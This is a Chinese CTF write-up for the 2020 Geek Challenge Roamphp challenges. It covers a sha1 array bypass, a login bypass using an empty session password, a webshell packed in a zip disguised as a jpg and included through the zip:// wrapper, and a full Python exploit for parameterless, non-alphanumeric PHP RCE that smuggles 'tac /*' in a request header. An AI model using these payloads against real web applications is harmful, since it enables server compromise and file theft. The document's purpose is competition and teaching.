知识点:数组绕过加密,zip伪协议,无参rce

Roamphp1-Welcome

 <?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){show_source(__FILE__);}else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){phpinfo();  // collect information from phpinfo!}
}

sha1无法处理数组,会返回null,所以全等

Roamphp2-Myblog

观察每个页面,会发现都有个page参数,那么这个参数会不会有文件包含漏洞呢?


试试

php://filter/read=convert.base64-encode/resource=login

确实有。

login

<?php
require_once("secret.php");
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
?>

secret.php

<?php
$secret_seed = mt_rand();
?>

看了半天也没发现有什么洞,再回到login页面。
登录的时候,会显示page=admin/user,admin/user虽然看着不像文件名,但它确实是。

两段代码:

第一段:username为Longlone,password为前两个mt_rand()产生的数,这边有个知识点要说一下如果我们删去了cookie中的PHPSESSID,那么传进去密码将不再是longlone的密码,没有cookie就找不到是哪个用户,那么服务端存的$_SESSION[‘password’])也就为空了,那我们只需要也传一个空密码按道理就可以绕过了。

简单点来说就是这边的password是随着cookie传进去的,如果cookie中为空,那么我们也传一个空密码,再后台判断中也就相同了。$_POST['password'] == $_SESSION['password']

<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself$logined = true;$_SESSION['status'] = $logined;}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";die();
}
?>


第二段
这边可以利用文件上传和文件包含伪协议来做。
先上传一个文件,此文件构成为,包含一句马的php文件—》zip压缩----》后缀变为.jpg

然后我们就可以用zip伪协议来包含它执行shell,因为zip协议是可以解压缩jpg后缀的压缩包的。

<?php
if(isset($_FILES['Files']) and $_SESSION['status'] === true){$tmp_file = $_FILES['Files']['name'];$tmp_path = $_FILES['Files']['tmp_name'];if(($extension = pathinfo($tmp_file)['extension']) != ""){//判断extension,也就是文件后缀名是否为空$allows = array('gif','jpeg','jpg','png');//白名单if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);//移动文件并改文件名echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";} else {echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";}}
}
?>

提交图片

访问图片地址


当图片存在时就可以执行shell了

zip:// + zip路径 + %23 + php文件名 (由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23)
http://82165fb2-5d53-4a86-a386-04058d68f23c.node4.buuoj.cn:81/?page=zip://./assets/img/upload/901edcb2cb7e73704f556f4c50d8b1ee3e7f428d.jpg%231
这里不加.php后缀是因为在index.php包含的时候默认加上了,还要注意zip协议后面跟的是./因为没有去看绝对路径。来自:https://blog.csdn.net/m0_56059226/article/details/119758074
?page=zip://./assets/img/upload/e95d9c73dbe3c6cebcba4255d689f93ab14a5a5f.jpg%231cmd=system("cat /flllaggggggggg_isssssssssss_heeeeeeeeeere");


拿flag

Roamphp4-Rceme

虽然过滤了很多,但是我们可以用无参rce,无参rce执行的原理是通过函数来返回一个字符串或数组,再配合我们上传的参数或者请求头来构造shell,最后可以执行shell。

例如:
getallheaders()会把请求头以数组的形式来返回,反过来想如果我们再请求头中加一个tac /*,getallheaders()把tac /*返回来,最后只要system(getallheaders())就可以拿到所有文件内容了。

<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);//获得验证数字
}if(isset($_POST['cmd']) and isset($_POST['code'])){if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){//post传的code经过md5加密前五个字符,要等于session的codedie('<script>alert(\'Captcha error~\');history.back()</script>');}$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);$code = $_POST['cmd'];if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){//修正符:x 将模式中的空白忽略; die('<script>alert(\'Longlone not like you~\');history.back()</script>');}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){@eval($code);die();}

phpinfo(): [~%8F%97%8F%96%91%99%90][~%CF]();
加这个[~%CF]只是因为php7的解析方式,当然换成其他的也可以例如[~%EF]

例如:下面三个作用相同

('phpinfo')()
['phpinfo'][0]()
['phpinfo']{0}()

exp:

import hashlib
import re
import requests
import sysurl = 'http://01bca480-d4fd-4597-a13a-a9829e724683.node4.buuoj.cn:81/'session = requests.session()
# 1 md5 解码
r = session.get(url=url,
)
md5_value = re.findall(r'if:substr\(md5\(\$code\),0,5\)==(.+?)"', r.text)[0]
code = ''def md5(s):return hashlib.md5(s.encode()).hexdigest()def demd5(code):#爆破md5for i in range(1, 9999999):if md5(str(i)).startswith(code):print('[*]code:', i)code = ibreakreturn codecode = demd5(md5_value)# 2 发送payload
cmd = '[~%89%9E%8D%A0%9B%8A%92%8F][~%CF]([~%91%9A%87%8B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]()));'
raw_data = f'code={code}&cmd={cmd}'
r = session.post(url=url,data=raw_data,allow_redirects=False,headers={'Content-Type': 'application/x-www-form-urlencoded','User-Agent': 'tac /*', # 执行的代码}
)
print('[*]', r.text)# phpinfo(): [~%8F%97%8F%96%91%99%90][~%CF]();#查看shell在第几个:
# var_dump(getallheaders()): [~%89%9E%8D%A0%9B%8A%92%8F][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]());#返回shell
# var_dump(next(getallheaders())): [~%89%9E%8D%A0%9B%8A%92%8F][~%CF]([~%91%9A%87%8B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]()));#执行shell
# system(next(getallheaders())): [~%8C%86%8C%8B%9A%92][~%CF]([~%91%9A%87%8B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]()));

参考:

wp:
https://blog.csdn.net/m0_56059226/article/details/119758074
https://blog.codesec.work/d6b7888bcefc/#0-%E5%89%8D%E8%A8%80

知识点:
php之$_SESSION的理解:https://blog.csdn.net/zhengxijia2012/article/details/73437376
preg_match修饰符:https://blog.csdn.net/qq_36340642/article/details/79352876
无字母数字webshell之提高篇:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

[极客大挑战 2020]Roamphp 1、2、4相关推荐

  1. [极客大挑战 2020]

    [极客大挑战 2020]Roamphp1-Welcome 已进入页面,以为是这道题的环境不对,可是查看f12竟然有东西,然后查一下405 请求方式有误,比如应该用GET请求方式的资源,用了POST 改 ...

  2. 2020第十一届极客大挑战——Geek Challenge(部分解)

    Crypto 二战情报员刘壮 考点:摩斯密码 通过 1.简介中直接看出是摩斯密码 2.通过在线网站直接解密得到flag 铠甲与萨满 考点:凯撒密码 1.通过题目和提示知道是凯撒密码 2.通过CrakT ...

  3. 2020第十一届极客大挑战——Geek Challenge部分wp

    好吧好吧,这几天的比赛太多了,这个比赛题上的有点慢,只在打其他比赛的间隙打了两天的极客大挑战,现在回来填下坑吧. 就从最简单的MISC开始好了,简答题就简单写了. MISC1-一"页&quo ...

  4. 2020年极客大挑战WEB部分WP

    WriteUP Welcome 题目地址: http://49.234.224.119:8000/ 题目描述: 欢迎来到极客大挑战! 访问题目链接,发现405报错. 百度了一下,发现是GET或者POS ...

  5. CTF Geek Challenge——第十一届极客大挑战Misc Write Up

    比赛时间:2020年10月17日早上9点 比赛时限:一个月 0x1 一"页"障目 宣传单里藏有flag,不过分成了三份 拼好如图: 0x2 壮言壮语 工具: 与佛论禅:http:/ ...

  6. CTF Geek Challenge——第十一届极客大挑战Web Write Up

    比赛时间:2020年10月17日早上9点 比赛时限:一个月 0x1 Welcome sha1绕过 Postman发送POST请求 sha1绕过 线索 Not Found But 这个Not Found ...

  7. [BUUCTF-pwn]——[极客大挑战 2019]Not Bad(ORW)(内涵peak小知识)

    [BUUCTF-pwn]--[极客大挑战 2019]Not Bad 又是一道收获满满的题目. peak小知识 seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的sy ...

  8. 极客大挑战2020_CTF-Web-[极客大挑战 2019]HardSQL

    CTF-Web-[极客大挑战 2019]HardSQL 博客说明 文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得 ...

  9. BUUCTF Web [极客大挑战 2019]Havefun

    「作者主页」:士别三日wyx   此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...

最新文章

  1. mac svn 可视化界面_svn for mac 操作
  2. 【第 45 届国际大学生程序设计竞赛(ICPC)亚洲区域赛】Simone and Graph Coloring
  3. window7环境下ZooKeeper的安装运行及监控查看
  4. python基础 协程
  5. 【C】Natasha V1.3.6.0 的升级日志
  6. oracle不同session共享变量,SpringMVC使用oracle配置session共享
  7. 昆虫繁殖(信息学奥赛一本通-T1312)
  8. python循环写入csv文件_从for循环和列表中写入.csv文件
  9. 收藏!Java 500 道核心面试题全解析
  10. MySQL老是提示视图没有主键
  11. 您未被授权查看该页原来是不瑞星个人防火墙的问题
  12. SpringBoot -- 抱团学习社区系统项目实战
  13. 运维-Linux简介
  14. ROS IOError: [Errno 13] Permission denied 报错
  15. 根据WebService地址展示方法列表、入参和返回值(解析wsdl)
  16. CASE_05 基于FPGA的DDS信号发生器
  17. 公式居中,编号右对齐 超级超级简单方法
  18. NFT数藏源码/数字藏品源码/space数藏源码
  19. 2022年了,我真的不建议做项目经理了
  20. 人工智能到底是风口还是泡沫?它能否改变未来“钱景”

热门文章

  1. xboxone硬盘坏的表现_硬盘数据恢复方法实测:硬盘坏了能恢复数据吗?
  2. MySQL为什么会抖一下
  3. ue4导入倾斜摄影_一种基于Smart3D倾斜摄影技术输出实际地形等高线的方法与流程...
  4. 视觉工程师出差过多必会出现的问题
  5. 电脑文件如何传到云服务器上,电脑文件如何传到云服务器上
  6. linux的web服务
  7. 高德地图的基础使用(一)显示地图
  8. php函数有什么用,有用的的PHP函数
  9. 云原生会统领SaaS服务的原因
  10. 二阶常系数非齐次线性微分方程的通解